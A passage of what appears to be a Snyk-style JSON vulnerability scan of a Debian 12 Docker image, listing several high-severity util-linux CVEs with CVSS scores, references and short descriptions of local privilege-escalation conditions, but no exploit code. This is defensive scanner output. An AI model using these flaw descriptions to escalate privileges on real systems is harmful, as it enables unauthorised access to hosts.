[https://github.com/util-linux/util-linux/commit/f57cea130839c0af8dc0525274267ae4cfd66bbf](https://github.com/util-linux/util-linux/commit/f57cea130839c0af8dc0525274267ae4cfd66bbf)\n- [https://www.vulncheck.com/advisories/util-linux-libmount-privilege-escalation-via-failed-mount-helper](https://www.vulncheck.com/advisories/util-linux-libmount-privilege-escalation-via-failed-mount-helper)\n- [https://github.com/util-linux/util-linux/security/advisories/GHSA-m25x-3hj9-m26f](https://github.com/util-linux/util-linux/security/advisories/GHSA-m25x-3hj9-m26f)\n",
"epssDetails": {
"percentile": "0.10694",
"probability": "0.00216",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-76642"
],
"CWE": [
"CWE-390"
],
"ALTERNATIVE": []
},
"nvdSeverity": "high",
"packageName": "util-linux",
"creationTime": "2026-09-03T15:50:34.412915Z",
"disclosureTime": "2026-09-03T13:06:08.440000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "debian:12",
"publicationTime": "2026-09-03T15:50:34.418355Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-28T11:03:11.362496Z",
"socialTrendAlert": false,
"relativeImportance": "not yet assigned",
"severityWithCritical": "high",
"from": [
"docker-image|docker.io/scopear/docker-iot-server@1.3.1_0fbd998.179",
"util-linux@2.38.1-5+deb12u3",
"util-linux/util-linux-extra@2.38.1-5+deb12u3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "util-linux/util-linux-extra",
"version": "2.38.1-5+deb12u3"
},
{
"id": "SNYK-DEBIAN12-UTILLINUX-19513278",
"cpes": [],
"title": "Missing Release of File Descriptor or Handle after Effective Lifetime",
"CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H",
"credit": [
""
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "high",
"cvssScore": 7.9,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://security-tracker.debian.org/tracker/CVE-2026-78408",
"title": "https://security-tracker.debian.org/tracker/CVE-2026-78408"
},
{
"url": "https://access.redhat.com/security/cve/CVE-2026-78408",
"title": "https://access.redhat.com/security/cve/CVE-2026-78408"
},
{
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2522497",
"title": "https://bugzilla.redhat.com/show_bug.cgi?id=2522497"
},
{
"url": "https://access.redhat.com/errata/RHSA-2026:63162",
"title": "https://access.redhat.com/errata/RHSA-2026:63162"
},
{
"url": "http://www.openwall.com/lists/oss-security/2026/09/05/2",
"title": "http://www.openwall.com/lists/oss-security/2026/09/05/2"
},
{
"url": "https://github.com/util-linux/util-linux/security/advisories/GHSA-55fx-f4gg-cfhj",
"title": "https://github.com/util-linux/util-linux/security/advisories/GHSA-55fx-f4gg-cfhj"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H",
"cvssV3BaseScore": 7.9,
"modificationTime": "2026-09-02T18:25:42.573221Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H",
"cvssV3BaseScore": 7.9,
"modificationTime": "2026-09-03T07:55:50.442401Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:H",
"cvssV3BaseScore": 6.6,
"modificationTime": "2026-09-28T11:03:15.966733Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-02T18:25:42.573221Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-03T07:55:50.442401Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:H",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 6.6,
"cvssVersion": "3.1",
"modificationTime": "2026-09-28T11:03:15.966733Z"
}
],
"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `util-linux` package and not the `util-linux` package as distributed by `Debian`._\n_See `How to fix?` for `Debian:12` relevant fixed versions and status._\n\nThe nsenter --join-cgroup option opens the target cgroup.procs file as root and leaves that file descriptor open across later namespace and credential changes and across execve(). Because the kernel checks later cgroup migrations using the credentials from the original open, a program run in an attacker-controlled target can inherit root's ability to move host processes between cgroups. After a privileged operator uses --join-cgroup against that target, an unprivileged user can migrate and terminate unrelated root processes.\n## Remediation\nThere is no fixed version for `Debian:12` `util-linux`.\n## References\n- [https://security-tracker.debian.org/tracker/CVE-2026-78408](https://security-tracker.debian.org/tracker/CVE-2026-78408)\n- [https://access.redhat.com/security/cve/CVE-2026-78408](https://access.redhat.com/security/cve/CVE-2026-78408)\n- [https://bugzilla.redhat.com/show_bug.cgi?id=2522497](https://bugzilla.redhat.com/show_bug.cgi?id=2522497)\n- [https://access.redhat.com/errata/RHSA-2026:63162](https://access.redhat.com/errata/RHSA-2026:63162)\n- [http://www.openwall.com/lists/oss-security/2026/09/05/2](http://www.openwall.com/lists/oss-security/2026/09/05/2)\n- [https://github.com/util-linux/util-linux/security/advisories/GHSA-55fx-f4gg-cfhj](https://github.com/util-linux/util-linux/security/advisories/GHSA-55fx-f4gg-cfhj)\n",
"epssDetails": {
"percentile": "0.07392",
"probability": "0.00186",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-78408"
],
"CWE": [
"CWE-775"
],
"ALTERNATIVE": []
},
"nvdSeverity": "high",
"packageName": "util-linux",
"creationTime": "2026-09-03T15:51:54.147974Z",
"disclosureTime": "2026-09-02T16:17:23.687000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "debian:12",
"publicationTime": "2026-09-03T15:51:54.149932Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-28T11:03:16.366429Z",
"socialTrendAlert": false,
"relativeImportance": "not yet assigned",
"severityWithCritical": "high",
"from": [
"docker-image|docker.io/scopear/docker-iot-server@1.3.1_0fbd998.179",
"util-linux@2.38.1-5+deb12u3",
"util-linux/util-linux-extra@2.38.1-5+deb12u3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "util-linux/util-linux-extra",
"version": "2.38.1-5+deb12u3"
},
{
"id": "SNYK-DEBIAN12-UTILLINUX-19513283",
"cpes": [],
"title": "Link Following",
"CVSSv3": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"credit": [
""
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "high",
"cvssScore": 7,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://security-tracker.debian.org/tracker/CVE-2026-78409",
"title": "https://security-tracker.debian.org/tracker/CVE-2026-78409"
},
{
"url": "https://access.redhat.com/security/cve/CVE-2026-78409",
"title": "https://access.redhat.com/security/cve/CVE-2026-78409"
},
{
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2522607",
"title": "https://bugzilla.redhat.com/show_bug.cgi?id=2522607"
},
{
"url": "https://access.redhat.com/errata/RHSA-2026:63162",
"title": "https://access.redhat.com/errata/RHSA-2026:63162"
},
{
"url": "https://github.com/util-linux/util-linux/security/advisories/GHSA-8f2p-47x3-43mv",
"title": "https://github.com/util-linux/util-linux/security/advisories/GHSA-8f2p-47x3-43mv"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7,
"modificationTime": "2026-09-02T18:25:41.346229Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7,
"modificationTime": "2026-09-03T07:55:46.701817Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7,
"cvssVersion": "3.1",
"modificationTime": "2026-09-02T18:25:41.346229Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7,
"cvssVersion": "3.1",
"modificationTime": "2026-09-03T07:55:46.701817Z"
}
],
"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `util-linux` package and not the `util-linux` package as distributed by `Debian`._\n_See `How to fix?` for `Debian:12` relevant fixed versions and status._\n\nThe X-mount.subdir option uses a detached-tree fast path on Linux 6.15 and later and passes the configured subdirectory to open_tree() with AT_SYMLINK_NOFOLLOW. That flag does not stop intermediate symlink traversal or keep resolution inside the newly mounted filesystem. A local unprivileged user with an fstab-authorized X-mount.subdir entry can attach a host path at the intended mountpoint.\n## Remediation\nThere is no fixed version for `Debian:12` `util-linux`.\n## References\n- [https://security-tracker.debian.org/tracker/CVE-2026-78409](https://security-tracker.debian.org/tracker/CVE-2026-78409)\n- [https://access.redhat.com/security/cve/CVE-2026-78409](https://access.redhat.com/security/cve/CVE-2026-78409)\n- [https://bugzilla.redhat.com/show_bug.cgi?id=2522607](https://bugzilla.redhat.com/show_bug.cgi?id=2522607)\n- [https://access.redhat.com/errata/RHSA-2026:63162](https://access.redhat.com/errata/RHSA-2026:63162)\n- [https://github.com/util-linux/util-linux/security/advisories/GHSA-8f2p-47x3-43mv](https://github.com/util-linux/util-linux/security/advisories/GHSA-8f2p-47x3-43mv)\n",
"epssDetails": {
"percentile": "0.03788",
"probability": "0.00154",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-78409"
],
"CWE": [
"CWE-59"
],
"ALTERNATIVE": []
},
"nvdSeverity": "high",
"packageName": "util-linux",
"creationTime": "2026-09-03T15:52:29.071961Z",
"disclosureTime": "2026-09-02T16:17:23.833000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "debian:12",
"publicationTime": "2026-09-03T15:52:29.074465Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:20:04.159247Z",
"socialTrendAlert": false,
"relativeImportance": "not yet assigned",
"severityWithCritical": "high",
"from": [
"docker-image|docker.io/scopear/docker-iot-server@1.3.1_0fbd998.179",
"util-linux@2.38.1-5+deb12u3",
"util-linux/util-linux-extra@2.38.1-5+deb12u3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "util-linux/util-linux-extra",
"version": "2.38.1-5+deb12u3"
},
{
"id": "SNYK-DEBIAN12-UTILLINUX-19513290",
"cpes": [],
"title": "Time-of-check Time-of-use (TOCTOU)",
"CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"credit": [
""
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "high",
"cvssScore": 7.8,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://security-tracker.debian.org/tracker/CVE-2026-78410",
"title": "https://security-tracker.debian.org/tracker/CVE-2026-78410"
},
{
"url": "https://access.redhat.com/security/cve/CVE-2026-78410",
"title": "https://access.redhat.com/security/cve/CVE-2026-78410"
},
{
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2522684",
"title": "https://bugzilla.redhat.com/show_bug.cgi?id=2522684"
},
{
"url": "https://access.redhat.com/errata/RHSA-2026:63162",
"title": "https://access.redhat.com/errata/RHSA-2026:63162"
},
{
"url": "https://github.com/util-linux/util-linux/security/advisories/GHSA-rh77-686x-2f2m",
"title": "https://github.com/util-linux/util-linux/security/advisories/GHSA-rh77-686x-2f2m"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-02T18:25:41.718430Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-03T07:55:46.643606Z"
},
{
"assigner": "SUSE",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-28T11:03:20.409615Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-02T18:25:41.718430Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-03T07:55:46.643606Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "SUSE",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-28T11:03:20.409615Z"
}
],
"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `util-linux` package and not the `util-linux` package as distributed by `Debian`._\n_See `How to fix?` for `Debian:12` relevant fixed versions and status._\n\nA flaw was found in util-linux. Restricted bind mounts take the source path from fstab but do not pin that source before the privileged mount. A local unprivileged user who can replace the authorized source or a writable ancestor can redirect SUID mount(8) to bind another host directory. If the fstab entry also sets X-mount.owner, X-mount.group, or X-mount.mode, root then changes ownership or mode on that redirected inode.\n## Remediation\nThere is no fixed version for `Debian:12` `util-linux`.\n## References\n- [https://security-tracker.debian.org/tracker/CVE-2026-78410](https://security-tracker.debian.org/tracker/CVE-2026-78410)\n- [https://access.redhat.com/security/cve/CVE-2026-78410](https://access.redhat.com/security/cve/CVE-2026-78410)\n- [https://bugzilla.redhat.com/show_bug.cgi?id=2522684](https://bugzilla.redhat.com/show_bug.cgi?id=2522684)\n- [https://access.redhat.com/errata/RHSA-2026:63162](https://access.redhat.com/errata/RHSA-2026:63162)\n- [https://github.com/util-linux/util-linux/security/advisories/GHSA-rh77-686x-2f2m](https://github.com/util-linux/util-linux/security/advisories/GHSA-rh77-686x-2f2m)\n",
"epssDetails": {
"percentile": "0.04035",
"probability": "0.00156",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-78410"
],
"CWE": [
"CWE-367"
],
"ALTERNATIVE": []
},
"nvdSeverity": "high",
"packageName": "util-linux",
"creationTime": "2026-09-03T15:53:31.733841Z",
"disclosureTime": "2026-09-02T16:17:23.983000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "debian:12",
"publicationTime": "2026-09-03T15:53:31.735935Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-28T11:03:20.877082Z",
"socialTrendAlert": false,
"relativeImportance": "not yet assigned",
"severityWithCritical": "high",
"from": [
"docker-image|docker.io/scopear/docker-iot-server@1.3.1_0fbd998.179",
"util-linux@2.38.1-5+deb12u3",
"util-linux/util-linux-extra@2.38.1-5+deb12u3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "util-linux/util-linux-extra",
"version": "2.38.1-5+deb12u3"
},
{
"id": "SNYK-DEBIAN12-UTILLINUX-19513270",
"cpes": [],
"title": "Detection of Error Condition Without Action",
"CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"credit": [
""
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "high",
"cvssScore": 7.8,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://security-tracker.debian.org/tracker/CVE-2026-76642",
"title": "https://security-tracker.debian.org/tracker/CVE-2026-76642"
},
{
"url": "https://github.com/util-linux/util-linux",
"title": "https://github.com/util-linux/util-linux"
},
{
"url": "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c%23L476",
"title": "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c%23L476"
},
{
"url": "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c%23L892",
"title": "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c%23L892"
},
{
"url": "https://github.com/util-linux/util-linux/commit/1d14676ea70003e9f5b2a6a76af0cadb1190411a",
"title": "https://github.com/util-linux/util-linux/commit/1d14676ea70003e9f5b2a6a76af0cadb1190411a"
},
{
"url": "https://github.com/util-linux/util-linux/commit/a15c00a9e545aa8b9cf6ec0f888ff6c7b3eaeedc",
"title": "https://github.com/util-linux/util-linux/commit/a15c00a9e545aa8b9cf6ec0f888ff6c7b3eaeedc"
},
{
"url": "https://github.com/util-linux/util-linux/commit/f57cea130839c0af8dc0525274267ae4cfd66bbf",
"title": "https://github.com/util-linux/util-linux/commit/f57cea130839c0af8dc0525274267ae4cfd66bbf"
},
{
"url": "https://www.vulncheck.com/advisories/util-linux-libmount-privilege-escalation-via-failed-mount-helper",
"title": "https://www.vulncheck.com/advisories/util-linux-libmount-privilege-escalation-via-failed-mount-helper"
},
{
"url": "https://github.com/util-linux/util-linux/security/advisories/GHSA-m25x-3hj9-m26f",
"title": "https://github.com/util-linux/util-linux/security/advisories/GHSA-m25x-3hj9-m26f"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-04T01:29:18.083087Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-03T07:55:06.120226Z"
},
{
"assigner": "SUSE",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-28T11:03:10.796717Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-04T01:29:18.083087Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-03T07:55:06.120226Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "SUSE",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-28T11:03:10.796717Z"
}
],
"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `util-linux` package and not the `util-linux` package as distributed by `Debian`._\n_See `How to fix?` for `Debian:12` relevant fixed versions and status._\n\nutil-linux versions through 2.41.5 and 2.42.2 fail to check mount helper exit status before running post-mount hooks, allowing unprivileged users to execute privileged operations on pre-existing filesystems. Attackers can exploit X-mount.idmap or X-mount.owner hooks to clone filesystems with inherited suid bits or modify target inode permissions after a helper fails, achieving privilege escalation.\n## Remediation\nThere is no fixed version for `Debian:12` `util-linux`.\n## References\n- [https://security-tracker.debian.org/tracker/CVE-2026-76642](https://security-tracker.debian.org/tracker/CVE-2026-76642)\n- [https://github.com/util-linux/util-linux](https://github.com/util-linux/util-linux)\n- [https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L476](https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L476)\n- [https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L892](https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L892)\n- [https://github.com/util-linux/util-linux/commit/1d14676ea70003e9f5b2a6a76af0cadb1190411a](https://github.com/util-linux/util-linux/commit/1d14676ea70003e9f5b2a6a76af0cadb1190411a)\n- [https://github.com/util-linux/util-linux/commit/a15c00a9e545aa8b9cf6ec0f888ff6c7b3eaeedc](https://github.com/util-linux/util-linux/commit/a15c00a9e545aa8b9cf6ec0f888ff6c7b3eaeedc)\n- [https://github.com/util-linux/util-linux/commit/f57cea130839c0af8dc0525274267ae4cfd66bbf](https://github.com/util-linux/util-linux/commit/f57cea130839c0af8dc0525274267ae4cfd66bbf)\n- [https://www.vulncheck.com/advisories/util-linux-libmount-privilege-escalation-via-failed-mount-helper](https://www.vulncheck.com/advisories/util-linux-libmount-privilege-escalation-via-failed-mount-helper)\n- [https://github.com/util-linux/util-linux/security/advisories/GHSA-m25x-3hj9-m26f](https://github.com/util-linux/util-linux/security/advisories/GHSA-m25x-3hj9-m26f)\n",
"epssDetails": {
"percentile": "0.10694",
"probability": "0.00216",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-76642"
],
"CWE": [
"CWE-390"
],
"ALTERNATIVE": []
},
"nvdSeverity": "high",
"packageName": "util-linux",
"creationTime": "2026-09-03T15:50:34.412915Z",
"disclosureTime": "2026-09-03T13:06:08.440000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "debian:12",
"publicationTime": "2026-09-03T15:50:34.418355Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-28T11:03:11.362496Z",
"socialTrendAlert": false,
"relativeImportance": "not yet assigned",
"severityWithCritical": "high",
"from": [
"docker-image|docker.io/scopear/docker-iot-server@1.3.1_0fbd998.179",
"util-linux@2.38.1-5+deb12u3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "util-linux",
"version": "2.38.1-5+deb12u3"
},
{
"id": "SNYK-DEBIAN12-UTILLINUX-19513278",
"cpes": [],
"title": "Missing Release of File Descriptor or Handle after Effective Lifetime",
"CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H",
"credit": [
""
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "high",
"cvssScore": 7.9,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://security-tracker.debian.org/tracker/CVE-2026-78408",
"title": "https://security-tracker.debian.org/tracker/CVE-2026-78408"
},
{
"url": "https://access.redhat.com/security/cve/CVE-2026-78408",
"title": "https://access.redhat.com/security/cve/CVE-2026-78408"
},
{
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2522497",
"title": "https://bugzilla.redhat.com/show_bug.cgi?id=2522497"
},
{
"url": "https://access.redhat.com/errata/RHSA-2026:63162",
"title": "https://access.redhat.com/errata/RHSA-2026:63162"
},
{
"url": "http://www.openwall.com/lists/oss-security/2026/09/05/2",
"title": "http://www.openwall.com/lists/oss-security/2026/09/05/2"
},
{
"url": "https://github.com/util-linux/util-linux/security/advisories/GHSA-55fx-f4gg-cfhj",
"title": "https://github.com/util-linux/util-linux/security/advisories/GHSA-55fx-f4gg-cfhj"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H",
"cvssV3BaseScore": 7.9,
"modificationTime": "2026-09-02T18:25:42.573221Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H",
"cvssV3BaseScore": 7.9,
"modificationTime": "2026-09-03T07:55:50.442401Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:H",
"cvssV3BaseScore": 6.6,
"modificationTime": "2026-09-28T11:03:15.966733Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-02T18:25:42.573221Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-03T07:55:50.442401Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:H",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 6.6,
"cvssVersion": "3.1",
"modificationTime": "2026-09-28T11:03:15.966733Z"
}
],
"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `util-linux` package and not the `util-linux` package as distributed by `Debian`._\n_See `How to fix?` for `Debian:12` relevant fixed versions and status._\n\nThe nsenter --join-cgroup option opens the target cgroup.procs file as root and leaves that file descriptor open across later namespace and credential changes and across execve(). Because the kernel checks later cgroup migrations using the credentials from the original open, a program run in an attacker-controlled target can inherit root's ability to move host processes between cgroups. After a privileged operator uses --join-cgroup against that target, an unprivileged user can migrate and terminate unrelated root processes.\n## Remediation\nThere is no fixed version for `Debian:12` `util-linux`.\n## References\n- [https://security-tracker.debian.org/tracker/CVE-2026-78408](https://security-tracker.debian.org/tracker/CVE-2026-78408)\n- [https://access.redhat.com/security/cve/CVE-2026-78408](https://access.redhat.com/security/cve/CVE-2026-78408)\n- [https://bugzilla.redhat.com/show_bug.cgi?id=2522497](https://bugzilla.redhat.com/show_bug.cgi?id=2522497)\n- [https://access.redhat.com/errata/RHSA-2026:63162](https://access.redhat.com/errata/RHSA-2026:63162)\n- [http://www.openwall.com/lists/oss-security/2026/09/05/2](http://www.openwall.com/lists/oss-security/2026/09/05/2)\n- [https://github.com/util-linux/util-linux/security/advisories/GHSA-55fx-f4gg-cfhj](https://github.com/util-linux/util-linux/security/advisories/GHSA-55fx-f4gg-cfhj)\n",
"epssDetails": {
"percentile": "0.07392",
"probability": "0.00186",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-78408"
],
"CWE": [
"CWE-775"
],
"ALTERNATIVE": []
},
"nvdSeverity": "high",
"packageName": "util-linux",
"creationTime": "2026-09-03T15:51:54.147974Z",
"disclosureTime": "2026-09-02T16:17:23.687000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "debian:12",
"publicationTime": "2026-09-03T15:51:54.149932Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-28T11:03:16.366429Z",
"socialTrendAlert": false,
"relativeImportance": "not yet assigned",
"severityWithCritical": "high",
"from": [
"docker-image|docker.io/scopear/docker-iot-server@1.3.1_0fbd998.179",
"util-linux@2.38.1-5+deb12u3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "util-linux",
"version": "2.38.1-5+deb12u3"
},
{
"id": "SNYK-DEBIAN12-UTILLINUX-19513283",
"cpes": [],
"title": "Link Following",
"CVSSv3": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"credit": [
""
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "high",
"cvssScore": 7,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://security-tracker.debian.org/tracker/CVE-2026-78409",
